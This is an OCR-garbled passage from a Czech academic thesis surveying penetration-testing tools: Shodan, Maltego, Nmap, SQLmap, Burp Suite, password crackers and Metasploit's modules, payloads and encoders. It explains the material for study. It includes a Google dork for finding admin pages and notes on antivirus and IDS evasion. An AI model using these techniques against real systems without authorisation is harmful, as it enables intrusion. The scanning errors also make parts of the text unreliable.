Mezi nejpopularnéjsi volby se radi napt. Kali Linux, Parrot OS a Black Arch.
(56) Pri $irSim porovnani téchto distribuci nelze Fict, ktera z nich je nejlepsi. Rtizné
distribuce jsou zpravidla vytvoreny pro mirné odliSna vyuZziti. Pfi porovnani napf.
Kali Linux a Parrot OS je zfejmé, Ze Kali Linux je spiSe profesionalni nastroj
zaméfeny na penetracni testovani a auditovani, zatimco Parrot OS je méné
hardwarové naro¢ny operacni systém spise zaméieny na Eticky hacking. (57; 58)
Jak jiz ale bylo poznamendano: nic testeriim nebrani pouZivat naptiklad i jednu
z nejrozsirenéjSich linuxovych distribuci Ubuntu a vS§echny potfebné nastroje si sam

na miru nakonfigurovat. Pokud vSechny testerem poZadované nastroje jsou
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dostupné pro platformu Windows, lze samoziejmé vyuZzit i tuto platformu. Vybér
konkrétniho opera¢niho systému je proto do znatné miry i véc subjektivnich

preferenci testera.

7.2 Internetové vyhledavace

Vv

vivs

Seznam.cz nebo Bing.com).

Piinos internetovych vyhledavact je ziejmy. Takika kaZdy je vyuZiva pro
vyhledavani informaci a pro penetratniho testera tomu neni jinak. Kromé
vyhledavani konkrétnich zranitelnosti a informaci o nich miiZe byt internetovy

vyhledavac vyuziti jinak.

Autor Johnny Long ve své prezentaci , Google Hacking for Penetration Testers:
Using Google as a Security Testing Tool“ (59) zaloZené na stejnojmenné knize tohoto

autora popisuje radu zplisobi, jak tento nastroj vyuZit pro penetracni testovani.

Jednim z mechanismi, které délaji Google pro tento ucel vhodny, je existence
specialnich operator, kterymi je moZné daleko 1épe specifikovat konkrétni adresu.
Autor napriklad ukazuje, jak za pomoci operatorti INURL a FILETYPE byl schopny
nalézt skrytou PHP stranku urcenou jen pro administratory. (59) Tento pripad je

znazornén na obrazku 3.

INURL:admin INURL:orders @l FILETYPE:php

Obrazek 3 VyuZiti internetového vyhledavace Google
Zdroj: Vlastni tvorba dle (59)

7.3 Specializované internetové vyhledavace

Diky uZite¢nosti internetovych vyhledavacii pro prohledavani internetu za ticelem

odhaleni zranitelnosti a jinych citlivych informaci vznikly i specialni vyhledavace,
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které automaticky prohledavaji a indexuji web pifimo za ticelem umoZznéni nalezeni
zranitelnosti jako jsou napftiklad omylem dostupné servery, I[P kamery a podobné.
Zastupci téchto vyhledavaci jsou napiiklad Censys a ZoomEye, za jejichZ pomoci byl
napfiklad v roce 2021 nalezen dokument se jmény takika dvou milionii osob, ktery
obsahoval fadu informaci v€etné priznaku ,no fly“. Véri se, Ze Slo o tajny seznam,
ktery spravuji americké tajné sluzby, za ucelem identifikace hledanych osob
a teroristli. Seznam byl nalezen pravé diky tomu, Ze byl hostovan na databazovém

serveru ElasticSearch, ktery byl omylem dostupny verejnosti z internetu. (60)

Vyznamnym zastupcem téchto vyhledavacii je Shodan. Jedné se o komeré¢ni
vyhledavac, ktery je urcen pro komplexni vyhledavani potencialné zranitelnych
zarizeni a informaci o nich. Obrazek 4 ukazuje pod-sluzbu Shodan Images, ktera
slouzi k usnadnéni nalezeni vefejné dostupnych web kamer a poc¢itacti vyuZivajicich

Remote Desktop Protokol (RDP), které jsou dostupné skrze sit internet. (61)

Timhle ale moZnosti vyhledavate Shodan zdaleka nekondi. Stejné jako
u tradi¢nich vyhledavacii je zde moZné vyuZit parametry vyhledavani pro vyhledani
konkrétniho portu, omezit vyhledavani na urcity adresni rozsah ¢i na urcity stat.
Velmi zajimavymi filtry jsou i ,vuln:“ a ,tag:“ Za pomoci téchto filtrQi je moZné
vyhledavat zarizeni obsahujici specifickou zranitelnost ¢i tag. Jednim z téchto tagt
je napft.i,tag:honeypot”, kterym vyhledavac oznadi zarizeni, o kterych se domniva,
Ze jde o tzv. honeypot. Tedy systém, ktery je zamérné zranitelny a na kterém jsou
pokusy o exploiataci monitorovany. Dalsi diileZitou funkcionalitou je i Shodan
Monitor, ktery uzivateli umoZiiuje zadat konkrétni zatizeni ¢i skupinu zafizeni,
a pokud se na uvedené adrese napiiklad nové otevieny port miiZe uZivateli
automaticky odeslat email. Sluzba Shodan Maps pak uzivateli umoZiiuje informace

snadno filtrovat a vizualizovat na zakladé mapy. (62)
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SHODAN | Images kcreenshot.label:windows country:“cz"

Obrazek 4 Vystup sluzby Shodan Images
Zdroj: https://i.iinfo.cz /images /432 /shodan-desktopy-1.jpg

7.4 Maltego

Komplexnim néstrojem pro pasivni priizkum je software Maltego. Obecné Ize Fict,
Ze tento nastroj slouZi pro automatizované vyhledavani a vizualizaci informaci
a byva Siroce vyuZivan pro analyzu informaci z vefejné dostupnych zdrojt (OSINT).
Nalezené informace software zobrazuje v prehledném grafu, ktery uZivatel mtze
dale rozSifovat rliznymi sméry a zplisoby. Takto je moZné ziskat prehlednou

predstavu o analyzovanych subjektech a vztazich mezi nimi.

Zakladnim prvek nastroje jsou tzv. ,entity, kterymi miiZe byt napr telefonni
Cislo, emailova adresa, fyzicka lokace, osoba atd. (63), nad nimi jsou provadény
rizné ,transformace”. Vysledek transformaci je vznik dalSich entita propojeni mezi

nimi. Transformace jsou jednoduché skripty, které predem definovanym zptisobem
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provadéji toto rozsSifovani grafu novymi sméry a o nové podrobnosti. V zakladu
nastroj obsahuje tzv. ,standartni transformace®, kterych je vice nez 150 a které
zahrnuji zakladni OSINT operace, tedy: vyhledavani na webu, analyzu s vyuZzitim
webového archivu Wayback Machine, analyzu s vyuzitim wikipedie, ale i analyzu
s vyuzitim vyhledavace Shodan. (64) DalSi sady transformaci je moZné si do nastroje
doinstalovat svyuzitim tzv. ,Maltego Transform Hubu“, ktery obsahuje mnoho
dal$ich transformaci od Siroké skaly autort. Nékteré bali¢ky jsou v Transform Hubu
dostupné zcela zdarma, jiné mohou byt omezeny nebo plné zpoplatnény. (65)
S kazZdym dalSim balickem transformaci je také mozné pridati dalsi entity, coz déla
tento nastroj velmi uziteCny a v§estranny. (63) Samotny nastroj je zdarma dostupny
v Community Edition. Spole¢nost, ktera nastroj vyviji, dale nabizi verze Enterprise
a Pro. Hlavnim rozdilem v téchto planech je moZznost komer¢niho pouZiti, moZnost
pristupu k Transform Hubu, ktera je moZna pouze pro placené plany, a dale omezeni
na pocet vyhledanych a zobrazenych entit v grafu v pfipadé Community Edition.

(66)

MozZnosti vyuziti firma, ktera tento nastroj vyviji, pravidelné zverejnuje
na svych webovych strankach. Z pohledu penetra¢niho testovani je velmi zajimava
série ukazek zabyvajici se schopnostmi nastroje pro pasivni prizkum sité. V této
sérii je popsano napiiklad, jakym zplisobem je moZné za vyuZiti nastroje ziskat DNS
jména, kterou cil vySetrovani aktualné poziva ¢i pozival v minulosti. Dale je mozné
zjistit, adresy pouzivané pro emailové servery, emailové adresy administratori sité

a bloky adres, které jsou této organizaci pravdépodobné pridéleny. (67)

Dal8im zajimavé vyuZiti nastroje je zfejmé napriklad ze série ,How to Conduct
Person of Interest Investigations Using OSINT and Maltego“. V této sérii spole¢nost
ukazuje, jakym zplisobem je moZné ziskat co nejvice informaci o jedné konkrétni
osobé. Toho je dosahnuto na zakladé analyzy mnoha faktort v¢etné socialnich siti
cile. Velmi zajimavou moznosti, kterou spole¢nost prezentuje, je i moZnost
prohledavani udaji takto nalezenych v sadé databazi obsahujici unikla data. Takto
miiZe byt napiiklad nalezeno heslo, které dana osoba nebo skupina osob v minulosti

vyuzivala, a tedy mozna vyuZziva stale. (68)
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Obrazek 5 Jednoducha OSINT analyza socidlnich siti s vyuZitim nastroje
Maltego
Zdroj: (68)

7.5 Nmap

Nmap nebo Network MAPer je popularni open source nastroj pro prozkoumavani
pocitacovych siti. Tento nastroj je schopny zjistit, jaka zarizeni se v siti nachazi, jaké
porty jsou otevirené a velké mnoZstvi dalSich uzite¢nych informaci. Nastroj funguje
z prikazového radku a formou parametri je moZné navolit si piesny zplisob
skenovani. Je mozné napriiklad specifikovat konkrétni porty, které nas zajimaji, ci
pozménit poiadi skenovani. Ddle miiZeme skenovat sluzby a jejich verze, a to véetné
detekce verze operacniho systému. Nmap dale nabizi moZnosti pro specifické
¢asovani skenli (napf. pocet poZadavkl za dany cas) tak, aby bylo snazsi toto
skenovani pred vlastnikem/spravcem sité 1épe skryt. K dispozici jsou i moznosti pro

Firewall/IDS evasion a spoofing. (69)
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Zakladnim vyuZitim Nmapu je pro skenovani otevirenych TCP ¢i UDP porti
na cilovém stroji. Nastroj Nmap pro tento ticel miiZe vyuzit vlastnosti Ctyi'cestného
handshake protokolu TCP pro detekci otevirenych TCP portli. Nastroj Nmap za timto
cilem za¢ne prvni fazi handshaku odeslanim paketu SYN, pokud je port otevieny,
odpovi cilovy stroj presné dle druhé faze handshaku odeslanim packetu SYN/ACK.
Pokud je testovany port naopak zavieny, dojde k odpovédi pouze ve formé
RST/ACK. Na zakladé nastaveni skeneru pak miiZe dojit ke korektnimu dokonceni
handshaku a naslednému korektnimu rozvazani spojeni ¢i k samotnému dokonceni
a navazani spojeni viibec nedojde. (Pfedpokladem miZe byt, Ze cilova sit loguje
pouze Uspésné navazana spojeni a nestandartni a nedokoncené pokusy o spojeni

nebudou odhalena). (69)

Jak jiz bylo ale poznamenano, nastroj Nmap umoznuje Sirokou S$kalu
moZnosti za icelem mapovani a aktivniho prizkumu cilové pocitacové sité. Vyse
uvedeny priklad je jen jednou z nich. Kompletni vyfet moZnosti nastroje Nmap je

moZné najit v oficialni dokumentaci Nmap. (70)
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Nmap Server

SYN (Z&d&m o pFipojeni k portu 22)

SYN/ACK (Port otevren. Pokracuj)

ACK (Spojeni navazano)

Data: SSH banner message

RST (Ukonci spojeni)

Obrazek 6 Skenovani typu TCP connect
Zdroj: Vlastni tvorba dle

https://www.codecademy.com/resources/docs/cybersecurity/Nmap /tcp-

connect-scan

7.6 ZeNmap

Oficialni graficka nadstavba programu Nmap se nazyva ZeNmap. Cilem této
nadstavby je naucit novacky vyuZzivat program Nmap a vizualizovat zmapované sité.
Nastroj ZeNmap obsahuje ndastroj, ktery interaktivné umoZiiuje uZivateliim
sestavovat prikazy pro Nmap, tak aby byla dosaZena uzivatelem poZadované
chovani programu. (71) Vystup z programu Zenmap je vidét na obrazku 7. V tomto

vystupu je moZné vidét.
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7.7 Ping

Ponékud standartnim zplisobem zjiSténi pritomnosti pocitacii a jinych zarizeni v siti
je vyuZiti servisnich ICMP zprav echo. Timto zplisobem mtZe byt napiiklad cely
adresni rozsah sité postupné otestovan a kazdé z adres takto odeslan ping. Tomuto
pristupu se iika ,ping sweep“ a mliZe byt proveden bud’ piimo piikazem ping nebo
nékterym z nastrojl, ktery komplexni vyuZivani této techniky usnadnuji. Pfikladem
takovych nastrojl jsou Fping, Hping ¢i dokonce néstroj Nmap, ktery ma moZnost
provedeni ping sweep zabudovanou. Nevyhodou tohoto pfistupu miize, kromé
zjevnych nevyhod spjatych s aktivhim prizkumem jako je napf. riziko odhaleni

i moZnost administratora cilového systému zakazat na zpravy ping odpovidat.

Tento nastroj miiZe byt vzhledem ke své jednoduchosti snadno prehliZeny.
Jednoduchost je vSak jeho nespornou vyhodou. Lze totiZ ocekavat, Ze prikaz ping je
dostupny na kaZzdém stroji a to znamena, Ze je ho snadno mozZno vyuzit i na stroji,
ktery nema nainstalovan Zadny sloZitéjsi nastroj. Metoda priizkumu ping sweep ma

vSak zasadni nevyhodu. Néktefi sitovi administratofi za uclelem zabranéni
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mapovani jimi spravované sité konfiguruji néktera zarizeni nebo celou sit, tak aby

zpravy ICMP echo byly zamérné ignorovany. (72)

7.8 Skenery zranitelnosti Nessus a OpenVas

Dal$imi diileZitymi ndastroji pro aktivni priizkum jsou skenery zranitelnosti. Tyto
skenery existuji za uCelem automatizované identifikace zranitelnosti v poc¢itacovém
systému, a to vCetné Spatné nakonfigurovanych zarizeni. Toho je docileno
provedenim jednoduchych testi na zakladé predem pripravené databaze
zranitelnosti. Hlavnimi zastupci skener®i zranitelnosti jsou néstroje Nessus
a OpenVAS. Tyto nastroje jsou ve skutecnosti pribuzné a dohromady pokryvaji
takrka cely trh. Nessus byl prvnim dostupnym a Siroce pouZivanym nastrojem pro
skenovani zranitelnosti. Pozdéji vSak byla licence softwaru Nessus zménéna z open-
source na proprietarni a z toho divodu vznikl nastroj OpenVAS (Open Vulnerability
Scanner), ktery je ve skute¢nosti pokracovani open-source projektu Nessus pod
jinym majitelem (tzv. fork). Nastroj OpenVAS byl nedavno prejmenovan a nyni nese
jméno firmy, kterd ho vyviji. Tento nastroj se nyni jmenuje GreenBone Vulnerability
managment. Nazev OpenVAS je vSak natolik znamy, Ze je odborniky na tuto

problematiku nadale pouzivan. (73; 74)

Pfi porovnani obou produkti vychazi ve vétsiné pripadii Nessus jako mirné
vykonnéjsi a presnéjsi volba (73; 74; 75), zasadni nevyhodou tohoto feseni je vsak,

Ze zdarma tento nastroj prozkouma pouze sit o Sestnacti zarizenich.

Rozhodnuti o tom, ktera volba je lepsi tedy nelze urcit. Vzdy je potreba
peclivé zvazit naroky konkrétni organizace, ktera nastroj bud’ interné pouZiva nebo

si objednala penetrac¢ni testovani, jehoZ soucasti sken zranitelnosti miiZe byt.

7.9 SQLmap

DalS$im popularnim nastrojem je SQLmap. Tento nastroj zneuziva implicitni
zranitelnost databazového jazyka SQL, ktery vyuziva specialni prikazy (tzv. dotazy)
k vybavovani konkrétnich dat z databaze. Zranitelnost miiZe byt exploitovana tim,
Ze utocnik cilené zmanipuluje tento dotaz, tak aby byl ve vysledku proveden

nezamyslenym zpiisobem. K tomuto dochazi zpravidla nediislednym zabezpecenim
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vstupnich poli aplikace a naslednym pifimym vloZenim dat ze vstupnich poli do téla
dotazu. Timto zplisobem miiZe utoc¢nik do téchto poli zamérné namisto konkrétnich
dat vloZit specialné upravena data, ktera nasledné mohou byt provedeny jako
prikazy pro databazovy systém. Tomuto typu utoku se rika ,SQL injection®. (76)
Re$enim této zranitelnosti je dle neziskové organizace OWASP (Open Worldwide
Application Security Project) vyuZivani parametrizovanych dotazii, vyuZivani
spravné vytvorenych databazovych procedur a restriktivni kontrola vstupu

na zakladé seznamu povolenych hodnot. (77)

SQLmap je Open-source nastroj, ktery slouzi k automatickému prizkumu
a exploitaci tohoto typu zranitelnosti na konkrétnim cili. Tento nastroj umoZznuje
detekci konkrétniho typu databaze, automatické vyzkousSeni velké rady technik SQL

injection a nasledné predani reportu testerovi s popisem nalezenych zranitelnosti.

V pripadé uspésného prolomeni zabezpeceni nabizi nastroj moZnosti pro
prozkoumani kompromitované databaze, eskalaci privilegii, slovnikového utoku
na nalezena zahashovana hesla ¢i vytvoreni trvalého spojeni soperatnim

systémem databazovym serverem. (78)

7.10 Burp Suite

Burp Suite je sada nastrojli ur¢ena pro penetracni testovani webovych aplikaci. Mezi
zakladni funkcionality tohoto nastroje patfi schopnost zachytit pozadavky, které
webovy prohliZe¢ odesila konkrétni webového aplikaci. Burp Suite testerovi nabizi
piehledné prostredi pro analyzu téchto poZadavkii a odpovédi na né. Nastroj dale
umoziiuje Sirokou S$kalu manipulaci s pozadavky jako je napriklad automatizované
odesilani poZadavki (nap¥. za ucelem uhodnuti hesla na zakladé slovnikového c¢i
brute-force utoku), znovu odeslani zachyceného pozadavku, uprava libovolné Casti
pozadavku a jeho nasledné odeslani apod. Velkou vyhodou tohoto nastroje je jeho

rozSiritelnost skrze vestavény obchod BApp Store. (79)

Tento nastroj je dostupny ve dvou verzich: Comunity a Professional

NejzasadnéjSimi vylepSenimi verze Professional je moZnost rozpracované prace
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ve verzi, neomezena rychlost odesilani dotazii a moZnost instalace dopliikti z BApp

Store, které nejsou urceny pro Comunity edition. (79; 80)

7.11 Hashcat a John the Ripper

Béhem pribéhu penetracniho testu milZe byt testovdano i zabezpecleni
zaheslovanych zarizeni. Tester za timto ucCelem vyuZziva zpravidla 2 techniky.
Slovnikovou a brute-force. Brute-force pristup, jak jiz nazev napovida vyuZziva
Jhrubou silu“ za ucelem uhodnuti hesla. Jsou tedy postupné testovany vSechny
moZné kombinace znakli dle predem definovanych parametrii (tedy maximalni
délka hesla, minimalni délka hesla, pouZité sady znakli apod.) Opakem je vyuZiti tzv.
slovnikového utoku, prii kterém je vyuZito predem pripravenych slovnikd,
ve kterych je predpripraveno velké mnoZstvi ¢asto vyuzivanych hesel. Jednim
z nejznaméjSich slovnikl je slovnik ,rockyou.txt, ktery vznikl vroce 2009
na zakladé uUniku dat americké firmy Rock You. (81) Tento slovnik je béZzné
automaticky ptibaleny ve specializovanych verzich operacnich systéml pro
penetracni testovani (napf. Kali Linux); je mozZné si jej ale i béZné stahnout.
Modifikaci slovnikového utoku na heslo utoky hybridni, kdy je kombinovan prinos
obou pristuptll. Je tedy vyuZivano slovniku a dle preferenci testera jsou hesla
v slovniku obsaZena dale obohacovana, napriklad brute-force pridavanim tfi Cisel

na konec kazdého z hesel.

Aby tester nemusel toto vSechno délat ru¢né, existuje fada nastroji pro
automatické prolamovani hesel. Mezi nejznaméjSi se radi John The Ripper
a HashCat. Oba tyto nastroje funguji prevazné pres prikazovou radku a na vstupu
prijimaji, kromé konkrétnich dopliiujicich parametrli pro dany néstroj, i seznam

zahashovanych hesel a potencialné i slovnik.

Presto, Ze jsou tyto dva nastroje podobné, pfi bliZSim porovnani je mozné
najit nékolik rozdilli. NejzasadnéjSim rozdilem je moZnost HashCat vyuZit akceleraci
GPU na nékolika grafickych kartach, zatimco John The Ripper umoZiiuje pouze
vyuzit bud’ CPU nebo GPU. Vyuziti vice GPU je ve vychozi konfiguraci u nastroje John

The Ripper navic omezen pouze na jediny hashovaci algoritmus. Vyhoda John The
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Ripper je ale automaticka detekce hashovaciho algoritmu, ve kterém jsou hesla

uloZena. Pro nastroj hashcat toto musi byt vzdy explicitné specifikovano. (82)

7.12 Rainbowcrack

Dal$im z nastrojii pro prolamovani hesel je Rainbowcrack. Cilem tohoto nastroje je
spiSe neZ hrubou vypocetni silu vyuZit pro prolamovani hesel pamét zarizeni. Toho
je dosaZeno za vyuziti tzv. ,Rainbow tables®, coZ jsou pred-vypocitané tabulky hesel
a jejich hashi. Diky tomu neni nutné dané hashe pocitat béhem procesu
prolamovani a timto pristupem tedy dochazi k vyraznému urychleni celého procesu.
Vytvoreni samotnych tabulek vSak nadale zlistava vypocetné naro¢nym ukolem.

(83)

7.13 Metasploit

Metaspoloit Framework (MSF) je open-source framework pro penetra¢ni testovani
spravovany spole¢nosti Rapid7. MSF Nabizi fadu moduld a nastroji pro vyuZiti
zranitelnosti pocitatovych systémi s cilem najit bezpec¢nostni chyby a otestovat

jejich obranu.

Hlavni soucasti frameworku je rozsahla databaze znamych chyb a exploiti
s jejichZ pomoci je moZné prolomit zabezpeceni daného systému a dopravit do néj
néktery z predem pripravenych kdédi. framework déle v neposledni fadé obsahuje
ifadu nastroji ke skenovani cilového systému na slabiny. Z diivodu zna¢ného
rozsahu a komplexnosti tohoto nastroje je bliZSimu popisu vénovana cela pristi

kapitola.

7.14Porovnani nastroju

Jak jiz bylo v tivodu kapitoly nastinéno, zdaleka se nejedna o kompletni vycet vSech
dostupnych nastrojii, ale spiSe ptrehled nejpouZivanéjsich nastroji riiznych typt.
Vzhledem k tomu, Ze drtiva ada nastroji slouzi k uplné jinému tcelu a ve vysledku
se tedy spiSe doplnuji, nez aby si konkurovaly neni moZzné nastroje mezi sebou
porovnat za ucelem urceni, ktery z nastrojii je nejlepsi. Stejné tak je nepraktické
délit nastroje do pevné danych kategorii napf. dle faze testu, ve které by byl nastroj

vyuZit. Je zfejmé, Ze napriklad nastroj ping by dle této filozofie mél byt zarazen jako
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nastroj pro aktivni prizkum. P¥i bliZ$im zhodnoceni je vSak ziejmé, Ze i takto
jednoduchy nastroj miiZe byt vyuzit k mnoha uceliim, jako je napiiklad k testu titoku
»ping flood", coZ je varianta utoku typu odepreni sluzby (DoS). Toto plati i pro velmi
komplexni nastroj Metasploit, ktery nelze zaradit pevné do jediné kategorie, protoZe
tento obsahuje fadu modulii pro priizkum, ale i pro exploitaci a post-exploita¢ni

¢innost.

Zvyctu dale vyplyva i prekvapiva skutecnost tykajici se komplexnosti
nastrojli pro penetracni testovani, kromé komplexnich nastrojii jsou totiz
nepostradatelné i jednoduché nastroje typu ping ¢i internetovy vyhledavac¢ Google.
Dale mohou byt velmi uZziteCné i nastroje, které se do samého vyctu nedostaly, jako
jsou napriklad nastroje pro usnadnéni reportovani zavért z penetra¢niho testovani,
timto nastrojem miiZe byt napiiklad Microsoft Word. Vyhodné miiZe byt také vyuZiti

software pro monitorovani sitového provozu jako je napriklad Wireshark.
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8 Metasploit

V této kapitole bude podrobné popsan vybrany nastroj pro penetracni testovani:
Metasploit Framework (MSF). Tato kapitola bude obsahovat seznameni s jeho
historii, funkcemi, strukturou a vyuZzitim pro penetracni testovani. Pochopeni
struktury, funkci a moZnosti tohoto nastroje je nezbytné pro pochopeni nasledujici
kapitoly, ktera formou pripadové studie predvede praci s frameworkem a bliZe
Ctenafe seznami jakym zplisobem miiZze byt framework vyuZit pro penetracni

testovani.

8.1 Historie

Vyvoj MSF byl zahajen v roce 2003 poté, co si expert na sitovou bezpecnost HD
Moore uvédomil, kolik ¢asu zbyte¢né travi validaci a sanitaci verejné dostupnych
exploiti. Namisto toho se rozhodl pro vytvoreni flexibilntho a udrZovaného

frameworku, ktery bude vSe automaticky obsahovat v sobé. (84 str. xxii)

Plivodné byl Metasploit napsan v jazyce Pearl a obsahoval pouze 11 exploitt.
Verze 2 vydana vroce 2004 databazi exploitli rozsitila na 19 a dostupnych bylo
i vice neZz 27 payloadii. Velkou zménou projekt proSel poté, co se k nému pripojil
Matt Miller (Skape). Projekt zacal rychle nabirat na popularité a na zakladé
rozhodnuti autorti byl postupné prespan do jazyka Ruby. Toto pfepsani trvalo
pouhych osmnéact mésicii, nové pirepsany framework byl vydan jako verze 3. Byla to
praveé tato verze, ktera zaznamenala velky uspéch a Sirokou adopci nastroje. (84 str.

xxiii)

Vroce 2009 dosSlo kakvizici projektu spolecnosti Rapid7, coZ umoZnilo
Moorovi vyuZit prostiredky této firmy pro dalsi rist. Bylo tedy jiZ moZné, aby se
Frameworku Metasploit vénoval naplno cely tym vyvojart. Toto zvySené usili
se snahou projekt co nejvice rozriist a rozsirit se vyplatilo a Metasploit Framework
po akvizici spole¢nosti Rapid7 zacal dramaticky riist. Dnes se jedna o jeden
z nejznaméjSich nastrojii pro penetracni testovani a diky tomu je ho moZné
automaticky nalézt napf. vjedné z nejpopularnéjsich Linuxovych distribuci pro

penetracni testovani: Kali Linux. Metasploit Framework je vSak k dispozici i pro jiné
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popularni operacni systémy jako je napriklad Microsoft Windows a Apple macOS.

(85; 84 str. xxii)

Metasploit Framework je vyvijen jako open-source a je tedy z definice volné
dostupny. Dle vyvojare tohoto produktu MSF predstavuje zaklad, na kterém jsou
budovany komer¢ni produkty. Témi jsou konkrétné edice Metasploitu: Community,
Express, Ultimate a Pro. (86) Rozdily ve verzich je moZné se dozvédét na webovych
strankach projektu Metasploit. Obecné lze v§ak poznamenat, Ze zakladem je edice
Community, ktera je dostupna zcela zdarma. Tato edice obsahuje zakladni nastroje
a moduly pro zakladni ¢innost penetra¢niho testovani v€etné skenovani a manualni
exploitace. Kazda dalsi edice je placena a pridava testertim dalsi a dal$i moZnosti
vCetné vétSi automatizace. Edice Express a Ultimate napriklad pridavaji podporu
pro Sirokou $kdlu reportovani a vyhnuti se anti-virovym programéim. NejdraZsi
Edice Pro pak disponuje vSemi mozZnostmi, které je firma Rapid7 schopna a ochotna
zakazniklim nabidnout. Tato edice tedy pridava napiiklad podporu pro socidlni

inZenyrstvi, makra, kolaborace v tymu a vytvareni Fetézcii ukold. (87)

Cena jednotlivych edic kromé Community neni striktné dana. Pro cenovou
nabidku je nejdrive nutné kontaktovat prodejni oddéleni firmy. Drew Robb vSak
ve svém internetovém clanku z roku 2019 uvadi ceny 15000 americkych dolarti
kazdy rok za verzi Pro. Verze Ultimate a Express pak podle jeho informaci stoji mezi

5000 a 2000 americkych dolarii ro¢né. (88)

8.2 Uzivatelska rozhrani Metasploitu

Metasploit nabizi nékolik grafickych ¢i negrafickych rozhrani, pres které je mozné
s frameworkem interagovat. Nej¢astéji pouzivanym rozhranim je MSFconsole. Toto
FeSeni miiZe byt pro novacky pomérné komplikované, protoZe se jedna o negrafické
rozhrani. Pfesto vSechno je toto rozhrani po chvilce u¢eni velmi snadné na ovladani.
Velkou vyhodou MSFconsole je, Ze se jedna o jediné uzivatelské rozhrani, skrze které
je moZné Metasploit ovladat plné (tedy kompletné vyuZzit vSechny funkce

a moZznosti, které v Metasploitu jsou). (89)
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Grafickym uZzivatelskym rozhranim je pak napriklad armitage. Jedna se
o jednoduchou nadstavbu psanou v Javé, kterou vytvoril Raphael Mudge. (90) Tato
nadstavba plné neobchazi MSFConsole, jedna se spiSe o interaktivniho pomocnika,
ktery na zakladé grafického uzivatelského rozhrani automaticky sklada a spousti
prikazy. Je to tedy dobry nastroj pro nauceni se zakladnimu ovladani Metasploitu

pres MSFConsole.

Dal8i moZné grafickym uzivatelské rozhrani predstavuje oficialni webové
rozrani, ke kterému je mozné pristoupit s vyuzitim portu 3790 za pomoci webového
prohliZete. Toto rozrani vzniklo aZ po ARMITAGE s postupnou komercializaci

Metasploitu. (91)

8.3 Penetraéni moduly

Vétsina interakci s Metasploitem probiha skrze néktery z jeho mnoha modult. Tyto
moduly se nachazi ve dvou specifickych lokacich. Tou hlavni je:
/usr/share/metasploit-framework/modules/. V této lokaci jsou vSechny pribalené
moduly Metasploitu. Druha lokace se pak nachazi v domovském adresari pod
adresou ~/.msf4/modules/. V této lokaci jsou uloZeny vSechny uzivatelovy vlastni
moduly. Dal8i moduly je moZné nacitat i za béhu msfconsole a to pomoci prikazu

msfconsole -m ~/module-name/ (92)

— |

fu5rfsharé!ﬁetasplnit-framewnrkfmndules

Obrazek 8 Prehled modulii Metasploitu
Zdroj: Vlastni tvorba dle (92)
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8.3.1 Exploits

Ve slozce Exploits jsou pripravené exploity, které jsou jeSté roztrizeny do podslozek

nejcastéji podle operacniho systému pro, které byl tento exploit vyvinut. (92)

L

Jusr/share/metasploit-framework/modules/exploits

Jusr/share/metasploit-framework/modules/exploits

Obrazek 9 Prehled struktury adresare s exploity
Zdroj: Vlastni tvorba dle (92)

Kazda z téchto sloZek je pak dale délena do podsloZek na zakladé podobnosti
danych exploitli. Nejcastéji jde o sluzbu(port), kterou exploituji. V téchto slozkach
jsou uz pak samotné ruby soubory se zdrojovym kédem, ktery je snadno moZné ¢ist
napriklad prikazem nano. Kromé samotného zdrojového kédu exploitu je v ruby

souborech ¢asto mozné vidét napriklad i jméno autora, popis zranitelnosti a také

odkaz na CVE detaily dané zranitelnosti na zakladé, které exploit vznikl.

fusr/./metasploit-framework/modules/exploits/windows

fusr/./metasploit-framework/modules/exploits/windows

fusr/./modules/exploits/windows/tftp

attftp_long_filename.r etdeci p_traversal.rb tftpdwin_long_filename.rb
distinct_tftp_tr al.r opentf error_code.rb tftp

dlink_long_fi ic 3 mode . rh three svc_long_mode.rb
futures F

Obrazek 10 Pirehled konkrétnich zranitelnosti
Zdroj: Vlastni tvorba

Exploity se v Metasploitu déli do dvou kategorii. Prvni z nich jsou tzv. aktivni
exploity, které maji za cil kompromitovat konkrétni pocita¢, dokoncit svou €innost

a poté systém opustit. Pasivni exploity naopak Cekaji na to, aZ se néjaky pocitac
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pripojia az tim se samotny exploit provede. Pasivni exploity se témér vZdy zaméruji

na klienty, jako jsou webové prohliZece, FTP klienti atd. (93)

8.3.2 Payload

Dal3i podslozkou ve sloZce moduly jsou samotné payloady, které je moZzné rozdélit

do trech kategorii: singles, stagers a stages.

o Singles: Maji za cil provést jen jednu jednoduchou akci. Jedna se
0 samostatné payloady s relativné malym kédem a kviili tomu tyto payloady
vlibec nezavisi na Metasploitu samotném a je moZné je vyuZit i jinde. (94)

e Stagers a stages: Stagery predstavuji relativné malé payloady, jejichZ cilem
je tvorba sitového spojeni mezi uto¢nikem a cilovym strojem za ucelem
pozdéjsi prepravy dodatecného Skodlivého kdédu (stages). Kéd jednotlivych
stages, pak na rozdil od stagerti miliZe, byt uZ relativné velky. Jak jiZ z nazvu

vyplyv4, jeden stager mliZe stdhnout jednu ale i vétSi mnoZstvi stages. (94)

8.3.3 Encoders

Encoders neboli ,kdédovace“ predstavuji nasledujici krok po vygenerovani
konkrétniho payloadu. Cilem zakddovani je snaha vyhnout se detekci antivirovym
softwarem ¢i jinym IDS (Intrusion Detection Systems). (1 str. 244) Zak6dovanim je
moZné se vyhnout antivirovym programiim vyuZivajicim statickou detekci malware.
Je ale dtleZité zminit, Ze stavajici antivirové programy, kromé statické detekce,
vyuzivaji i pokrocilejsi techniky jako je behavioralni a heuristicka analyza, takze
samotné zakédovani nemusi stacit. Metasploit obsahuje celkem 45 kédovaci, které

je moZné rozdélit do tii kategorii. (95; 92)

e Kodovani Base64: Piikladem jednoduchého kédovani je Base64 kddovani.
Tento typ kdédovani funguje na principu rozdéleni pocatetniho textu
do skupin po 6 bitech (pivodné mohl byt text zakédovan tak, aby kazdému
znaku odpovidalo pravé 8 bitli) a prifazeni nasledného ASCII znaku
na zakladé binarni hodnoty kazdé 6bitové casti. Nevyhodou tohoto kédovani
je, Ze vysledny kdd je kvili tomu o zhruba 33% delSi neZ plivodni text.

Vyhoda kédovani Base64 je, Ze vysledny zakédovany znak se miiZe vyrazné
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liSit v zavislosti na pozici nezakdédovaného znaku v textu. Tento typ kddovani
neni omezen pouze na vyuZiti jako kédovani textu, ale mlZe byt vyuZit
na jakakoliv binarni data. (96; 95) Base64 kédovani je tedy mimo jiné

vyhodny vSude, kde je nutné presunout binarni data textovymi kanaly.

ASCII Text: H i
ASCII to Binary: 01001000 01101001
ASCII to Binary: 0100100001101001

— N

010010 000110 100100 000000

v v v v

S G K =

6-bit Base64
with padding:

Base64 Encoding
with padding:

